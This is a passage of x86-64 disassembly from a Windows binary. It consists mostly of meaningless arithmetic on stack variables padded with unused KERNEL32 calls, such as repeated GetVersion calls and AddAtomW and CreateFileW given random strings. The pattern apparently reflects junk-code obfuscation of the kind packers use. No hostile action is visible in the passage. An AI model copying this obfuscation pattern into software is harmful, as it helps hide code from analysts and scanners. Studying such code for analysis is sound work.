movzx ecx, byte [rsp + 0x6ca]
or eax, ecx
mov byte [rsp + 0x4f6], al
mov rax, qword [rsp + 0x13898]
mov rcx, qword [rsp + 0x13f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab7c], eax
lea rdx, [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa7c4], eax
mov rax, qword [0x140363b38]
mov rcx, qword [rsp + 0x13d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13610]
mov dword [rcx], eax
lea rax, [rsp + 0x1088]
mov qword [rsp + 0x14330], rax
lea rax, [rsp + 0x464]
mov qword [0x140363c10], rax
mov rax, qword [rsp + 0x138c8]
mov rcx, qword [0x140363a78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e80], eax
lea rax, [rsp + 0xaa58]
mov qword [rsp + 0x14338], rax
mov eax, dword [rsp + 0xaa1c]
mov ecx, dword [rsp + 0xaa68]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6788], eax
mov rax, qword [rsp + 0x13ef8]
mov eax, dword [rax]
mov dword [rsp + 0xac08], eax
movzx eax, byte [rsp + 0x6cf]
mov rcx, qword [rsp + 0x14098]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x42a], al
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13758]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x29a4], ax
mov rax, qword [rsp + 0x13970]
mov eax, dword [rax]
mov dword [rsp + 0xac0c], eax
mov rax, qword [rsp + 0x13258]
mov ecx, dword [rsp + 0xabe4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa9b0], eax
movsx eax, word [rsp + 0x2a40]
movsx ecx, word [rsp + 0x1784]
add eax, ecx
mov rcx, qword [0x140363b28]
mov word [rcx], ax
lea rax, [0x14035e4a5]
mov qword [rsp + 0x14340], rax
mov rax, qword [rsp + 0x142a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x144c]
add eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov rax, qword [rsp + 0x138e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14188]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x13590]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x1183
mov r9d, 0x10db
mov r8d, 0x2281
mov edx, 0x1b25
mov rcx, qword [rsp + 0x14118]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xac10], eax
lea rax, [rsp + 0xaafc]
mov qword [rsp + 0x14348], rax
mov rax, qword [rsp + 0x14068]
mov rcx, qword [rsp + 0x13a10]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa7d0], eax
lea rax, [rsp + 0x95dc]
mov qword [rsp + 0x14350], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa9c4], eax
mov eax, dword [rsp + 0x9e84]
mov rcx, qword [rsp + 0x13dc8]
mov qword [rsp + 0x14358], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14358]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xabc4], eax
mov rax, qword [rsp + 0x13760]
mov ecx, dword [rsp + 0xaa18]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7200], eax
lea rax, [rsp + 0x1a6c]
mov qword [rsp + 0x14360], rax
mov r9d, 1
lea r8, [rsp + 0x13750]
mov rdx, qword [rsp + 0x141f0]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaae8], eax
lea rcx, str.AshfXBmM5ilxJ6EEp.W
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b1c], ax
movzx eax, byte [0x14035e48e]
mov byte [0x14035e4f4], al
mov rax, qword [rsp + 0x140e8]
mov ecx, dword [rsp + 0x6e80]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x134c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa99c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8904], eax
mov rax, qword [0x140363b38]
mov ecx, dword [rsp + 0xa8c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab8c], eax
mov rax, qword [rsp + 0x137c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa764]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13438]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132b0]
movzx eax, word [rax]
mov word [rsp + 0x2b20], ax
movzx eax, byte [rsp + 0x6cf]
mov rcx, qword [rsp + 0x13e10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13ce8]
mov byte [rcx], al
lea rax, [rsp + 0x2a78]
mov qword [rsp + 0x14368], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movsx eax, byte [rsp + 0x6c7]
mov rcx, qword [0x140363a08]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1f6], al
lea rax, [rsp + 0xab20]
mov qword [0x140363c18], rax
lea rax, [rsp + 0x910c]
mov qword [rsp + 0x14370], rax
movzx eax, byte [rsp + 0x6dd]
movzx ecx, byte [rsp + 0x6d6]
add eax, ecx
mov byte [rsp + 0x6cb], al
movzx eax, word [rsp + 0x23cc]
movzx ecx, word [rsp + 0x2aa4]
add eax, ecx
mov word [rsp + 0x2ab8], ax
lea rax, [rsp + 0xabc4]
mov qword [rsp + 0x14378], rax
mov rax, qword [rsp + 0x133d8]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14210]
mov dword [rcx], eax
lea rax, [rsp + 0xa928]
mov qword [rsp + 0x14380], rax
mov eax, dword [rsp + 0xab58]
mov ecx, dword [rsp + 0x8f8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x66e0], eax
movzx eax, byte [rsp + 0x6c1]
mov rcx, qword [rsp + 0x14038]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x14360]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29d0]
shl eax, cl
mov rcx, qword [0x140363958]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab94], eax
mov rax, qword [rsp + 0x14068]
mov ecx, dword [rsp + 0x898c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9c18], eax
mov eax, dword [rsp + 0xa32c]
mov ecx, dword [rsp + 0xac00]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaab4], eax
lea rax, [rsp + 0xaae0]
mov qword [rsp + 0x14388], rax
mov rax, qword [rsp + 0x14320]
mov ecx, dword [rsp + 0x81b4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x135d8]
mov dword [rcx], eax
mov rax, qword [0x140363a00]
mov ecx, dword [rsp + 0xaa04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaaa0], eax
lea rax, [rsp + 0x2a2c]
mov qword [rsp + 0x14390], rax
movsx eax, byte [rsp + 0x6bb]
movsx ecx, byte [rsp + 0x6b0]
add eax, ecx
mov byte [rsp + 0x6d2], al
movzx eax, word [0x140362c1c]
mov word [rsp + 0x2b24], ax
mov rax, qword [rsp + 0x13558]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
add eax, ecx
mov byte [0x140353582], al
mov rax, qword [rsp + 0x13da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7a08]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a78]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0x13640]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x70b8], eax
lea rax, [rsp + 0x6d9]
mov qword [rsp + 0x14398], rax
mov rax, qword [rsp + 0x14298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a8]
or eax, ecx
mov rcx, qword [rsp + 0x13400]
mov word [rcx], ax
mov eax, dword [0x140363a70]
mov dword [rsp + 0xac14], eax
mov rax, qword [rsp + 0x13da0]
mov rcx, qword [rsp + 0x13438]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8cc], eax
lea rax, [rsp + 0x9048]
mov qword [rsp + 0x143a0], rax
mov eax, dword [rsp + 0xaaa8]
mov ecx, dword [rsp + 0xab4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a0], eax
lea rax, [rsp + 0x29b4]
mov qword [0x140363c20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.RoDltMS1srQMcx87OZsDT9Tl302X6aOcf
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x143a8], rax
mov rax, qword [rsp + 0x133f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6c1], al
mov eax, dword [rsp + 0xab7c]
mov ecx, dword [rsp + 0xa8b0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0d0], eax
mov eax, dword [rsp + 0xabb4]
mov rcx, qword [rsp + 0x13ed8]
mov qword [rsp + 0x143b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x143b0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13628]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab40], eax
lea rax, [rsp + 0x6da]
mov qword [rsp + 0x143b8], rax
movsx eax, word [rsp + 0x2a1c]
mov rcx, qword [rsp + 0x13bc8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x21a0], ax
mov rax, qword [rsp + 0x13598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c0]
or eax, ecx
mov rcx, qword [rsp + 0x13fe8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13f68]
movzx eax, word [rax]
mov word [rsp + 0x2b28], ax
mov rax, qword [0x140363a78]
mov rcx, qword [rsp + 0x13ff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6e80], eax
lea rax, [rsp + 0xaae0]
mov qword [0x140363c28], rax
mov rax, qword [rsp + 0x13e18]
mov rcx, qword [0x1403639d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8f98], eax
mov rax, qword [rsp + 0x13dd8]
mov rcx, qword [rsp + 0x136b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa9dc], eax
mov eax, dword [rsp + 0x7908]
mov ecx, dword [rsp + 0xa998]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab4c], eax
movzx eax, byte [rsp + 0x6be]
mov byte [rsp + 0x6de], al
lea rcx, [rsp + 0x41c28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rdx, [rsp + 0x143c0]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9d0], eax
mov rax, qword [rsp + 0x14290]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13de0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x29ec], ax
mov rax, qword [rsp + 0x13498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaf8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80d0], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [0x14035cc2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a24], eax
lea rax, [rsp + 0xa9e4]
mov qword [rsp + 0x143c8], rax
mov eax, dword [rsp + 0xa9c0]
mov ecx, dword [rsp + 0x7200]
or ecx, eax
mov eax, ecx
mov dword [0x14035cc18], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [0x140363958]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19f8]
sub eax, ecx
mov word [rsp + 0x23cc], ax
movzx eax, byte [rsp + 0x6cf]
mov rcx, qword [rsp + 0x134b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14318]
mov byte [rcx], al
lea rax, [rsp + 0x2990]
mov qword [rsp + 0x143d0], rax
mov rax, qword [rsp + 0x143b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f6]
sar eax, cl
mov rcx, qword [rsp + 0x13eb0]
mov byte [rcx], al
lea rax, [rsp + 0xa8f8]
mov qword [rsp + 0x143d8], rax
mov rax, qword [rsp + 0x143c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9c48]
shl eax, cl
mov rcx, qword [rsp + 0x133a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b3]
movzx ecx, byte [rsp + 0x4dc]
and eax, ecx
mov byte [rsp + 0x51b], al
lea rax, [rsp + 0x17d4]
mov qword [rsp + 0x143e0], rax
lea rax, [rsp + 0xab6c]
mov qword [0x140363c30], rax
mov rax, qword [rsp + 0x135b0]
mov ecx, dword [rsp + 0x7200]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x141e0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab94], eax
mov rax, qword [rsp + 0x138b8]
mov eax, dword [rax]
mov dword [rsp + 0xac18], eax
mov rax, qword [rsp + 0x13620]
mov rcx, qword [rsp + 0x13938]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13820]
mov dword [rcx], eax
movzx eax, word [0x140362c1c]
movzx ecx, word [rsp + 0x2a44]
sub eax, ecx
mov word [rsp + 0x1778], ax
mov rax, qword [rsp + 0x133e0]
movzx eax, byte [rax]
mov byte [rsp + 0x6df], al
mov rax, qword [rsp + 0x14388]
mov ecx, dword [rsp + 0xab18]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab04], eax
mov rax, qword [rsp + 0x13728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a38], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaa94], eax
mov eax, dword [rsp + 0xaa20]
mov ecx, dword [rsp + 0xab44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa90], eax
mov rax, qword [0x140363b70]
mov ecx, dword [rsp + 0xabb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14035cbf0], eax
mov rax, qword [rsp + 0x139b8]
mov ecx, dword [rsp + 0xabec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14208]
mov dword [rcx], eax
lea rax, [rsp + 0x6bb]
mov qword [rsp + 0x143e8], rax
mov rax, qword [0x140363a48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ad8]
add eax, ecx
mov word [rsp + 0x2474], ax
movzx eax, word [rsp + 0x2888]
mov word [rsp + 0x2b2c], ax
movzx eax, byte [rsp + 0x68e]
movzx ecx, byte [rsp + 0x43d]
or eax, ecx
mov byte [rsp + 0x6cb], al
lea rax, [0x14035cc0c]
mov qword [rsp + 0x143f0], rax
mov eax, dword [rsp + 0xa950]
mov rcx, qword [rsp + 0x13ff8]
mov qword [rsp + 0x143f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x143f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa398], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13448]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x142d8]
mov word [rcx], ax
lea rax, [rsp + 0x6dd]
mov qword [0x140363c38], rax
lea rax, [rsp + 0xa2a4]
mov qword [rsp + 0x14400], rax
mov rcx, qword [rsp + 0x13580]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x138d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f48]
mov qword [rsp + 0x14408], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14408]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7114], eax
lea rcx, str.UAoO_1aeskqfpVpfQze
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b30], ax
lea rax, [0x140363b44]
mov qword [rsp + 0x14410], rax
mov rax, qword [rsp + 0x14008]
mov rcx, qword [rsp + 0x13350]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6e3c], eax
movzx eax, byte [rsp + 0x23c]
movzx ecx, byte [rsp + 0x6d6]
and eax, ecx
mov rcx, qword [rsp + 0x13fe8]
mov byte [rcx], al
lea rax, [0x140362bdc]
mov qword [rsp + 0x14418], rax
lea rcx, [rsp + 0x41b98]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13608]
mov ecx, dword [rsp + 0xa9e8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13cb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ae0]
mov ecx, dword [rsp + 0x82ec]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x73fc], eax
mov rax, qword [rsp + 0x13e48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13bc8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140363ab0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6da]
movsx ecx, byte [rsp + 0x68a]
and eax, ecx
mov rcx, qword [rsp + 0x13a00]
mov byte [rcx], al
movzx eax, byte [rsp + 0x6c4]
movzx ecx, byte [rsp + 0x3b7]
sub eax, ecx
mov byte [rsp + 0x23c], al
movzx eax, word [rsp + 0x29a8]
mov word [rsp + 0x2b34], ax
mov rax, qword [rsp + 0x13450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa938]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70b8], eax
mov rax, qword [0x140363ad8]
mov eax, dword [rax]
mov dword [rsp + 0xac1c], eax
mov r9d, 0xce8
xor r8d, r8d
lea rdx, [rsp + 0x13600]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa7bc], eax
movzx ecx, word [rsp + 0x2994]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b38], ax
mov rax, qword [rsp + 0x13b70]
mov rcx, qword [rsp + 0x13d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13300]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6554]
mov ecx, dword [rsp + 0xa81c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x73c0], eax
mov rax, qword [rsp + 0x13d80]
mov ecx, dword [rsp + 0x82ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7758], eax
movzx eax, byte [rsp + 0x23b]
movzx ecx, byte [rsp + 0x42a]
sub eax, ecx
mov byte [rsp + 0x6c0], al
mov r9d, 0x26d1
xor r8d, r8d
lea rdx, [rsp + 0x13200]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xa964], eax
movzx eax, word [rsp + 0x2b2c]
mov rcx, qword [rsp + 0x135d0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14035cc34], ax
mov rax, qword [rsp + 0x13770]
mov eax, dword [rax]
mov dword [rsp + 0xac20], eax
mov rax, qword [rsp + 0x13aa8]
mov rcx, qword [rsp + 0x14080]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13760]
mov dword [rcx], eax
mov eax, dword [rsp + 0x870c]
mov rcx, qword [rsp + 0x143c8]
mov qword [rsp + 0x14420], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14420]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9674], eax
movzx ecx, word [rsp + 0x29d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b3c], ax
mov rax, qword [rsp + 0x138c8]
mov ecx, dword [rsp + 0x7ea0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xab6c], eax
movzx eax, word [rsp + 0x1cb4]
mov rcx, qword [0x140363bb8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x22a]
mov byte [rsp + 0x6e0], al
movsx eax, word [rsp + 0x29c4]
mov rcx, qword [rsp + 0x13b58]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b18], ax
mov rax, qword [rsp + 0x132e8]
movzx eax, byte [rax]
mov byte [rsp + 0x6e1], al
mov rax, qword [0x140363ad8]
mov ecx, dword [rsp + 0xaaf0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363a68]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov eax, dword [rsp + 0xa974]
mov ecx, dword [rsp + 0x8134]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xabbc], eax
movzx eax, byte [rsp + 0x6c4]
movzx ecx, byte [rsp + 0x65d]
add eax, ecx
mov rcx, qword [rsp + 0x13d50]
mov byte [rcx], al
lea rax, [rsp + 0x184c]
mov qword [rsp + 0x14428], rax
mov rax, qword [rsp + 0x13680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13600]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [0x140363978]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6cb0], eax
mov rax, qword [rsp + 0x13ad0]
mov ecx, dword [rsp + 0x6fe8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14238]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaa3c]
mov ecx, dword [rsp + 0x66f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa14c], eax
mov rax, qword [rsp + 0x13778]
movzx eax, word [rax]
mov word [rsp + 0x2b40], ax
lea rax, [rsp + 0x416]
mov qword [0x140363c40], rax
mov r9d, 1
lea r8, [rsp + 0x13a08]
mov rdx, qword [rsp + 0x14430]
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa2c], eax
mov eax, dword [rsp + 0xab24]
movzx ecx, al
mov eax, dword [rsp + 0xaa20]
shl eax, cl
mov dword [rsp + 0xaa54], eax
movzx ecx, word [rsp + 0x2b30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ac8], ax
lea rax, [0x1403639bc]
mov qword [rsp + 0x14438], rax
mov rax, qword [rsp + 0x139a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x870c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a74], eax
lea rax, [rsp + 0xa14c]
mov qword [rsp + 0x14440], rax
mov rax, qword [rsp + 0x14208]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa99c]
sar eax, cl
mov dword [rsp + 0xab9c], eax
mov rax, qword [rsp + 0x134f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40c]
or eax, ecx
mov byte [rsp + 0x6c2], al
movsx eax, word [rsp + 0x2474]
movsx ecx, word [rsp + 0x1784]
and eax, ecx
mov word [rsp + 0x2544], ax
mov rax, qword [0x140363a98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13468]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43d], al
movzx ecx, word [rsp + 0x2ac0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b08], ax
movzx eax, word [rsp + 0x29ec]
movzx ecx, word [rsp + 0x2a7c]
sub eax, ecx
mov word [0x140362bb4], ax
lea rax, [0x140363bf8]
mov qword [rsp + 0x14448], rax
mov rax, qword [rsp + 0x133b0]
mov ecx, dword [rsp + 0x7a90]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13490]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac24], eax
mov rax, qword [rsp + 0x13630]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b5]
sub eax, ecx
mov rcx, qword [rsp + 0x13368]
mov byte [rcx], al
lea rdx, [rsp + 0x45c40]
mov rcx, qword [rsp + 0x13d48]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa9bc], eax
lea rax, [0x140362c1c]
mov qword [rsp + 0x14450], rax
mov eax, dword [rsp + 0xaa48]
mov ecx, dword [rsp + 0x870c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13b20]
mov dword [rcx], eax
lea rax, [rsp + 0x6e80]
mov qword [rsp + 0x14458], rax
mov rax, qword [rsp + 0x14250]
mov ecx, dword [rsp + 0xaa3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13e58]
mov ecx, dword [rsp + 0xa9b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x717c], eax
mov rax, qword [rsp + 0x14230]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
and eax, ecx
mov byte [0x140353596], al
movzx eax, word [rsp + 0x2a00]
mov word [rsp + 0x2b44], ax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x13dd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab78], eax
lea rax, [rsp + 0xa804]
mov qword [rsp + 0x14460], rax
mov rax, qword [rsp + 0x135f0]
movsx eax, byte [rax]
movsx ecx, byte [0x14035e4d6]
xor eax, ecx
mov byte [rsp + 0x1f6], al
movsx eax, word [rsp + 0x2a10]
movsx ecx, word [rsp + 0x21a0]
shl eax, cl
mov word [rsp + 0x197c], ax
movzx eax, word [rsp + 0x17d4]
mov word [rsp + 0x2b48], ax
lea rdx, [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x140d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac28], eax
mov rax, qword [0x1403639f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sar eax, cl
mov byte [rsp + 0x6c1], al
mov dword [rsp + 0x20], 0x3a1d
mov r9d, 0x796
mov r8d, 0x13dc
mov edx, 0x2d0b
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xaa10], eax
lea rax, [rsp + 0xa9a4]
mov qword [rsp + 0x14468], rax
lea rax, [rsp + 0xa978]
mov qword [0x140363c48], rax
mov rax, qword [rsp + 0x13b10]
mov ecx, dword [rsp + 0xabe0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13538]
mov dword [rcx], eax
lea rax, [rsp + 0x66cc]
mov qword [rsp + 0x14470], rax
mov rax, qword [rsp + 0x14438]
mov rcx, qword [rsp + 0x140b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab48], eax
xor r9d, r9d
lea r8, [rsp + 0x13058]
mov rdx, qword [rsp + 0x141f0]
mov rcx, qword [rsp + 0x137b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xac2c], eax
movzx eax, byte [rsp + 0x6cb]
movzx ecx, byte [0x14035e4d5]
add eax, ecx
mov rcx, qword [rsp + 0x13cb8]
mov byte [rcx], al
lea rax, [rsp + 0x1778]
mov qword [rsp + 0x14478], rax
mov rax, qword [rsp + 0x13cd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3a8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x135d8]
mov dword [rcx], eax
lea rax, [rsp + 0xab00]
mov qword [rsp + 0x14480], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa788], eax
mov r9d, 0x1409
xor r8d, r8d
lea rdx, [rsp + 0x13c28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xac30], eax
mov rax, qword [rsp + 0x13eb8]
mov eax, dword [rax]
mov ecx, dword [0x14035cc18]
add ecx, eax
mov eax, ecx
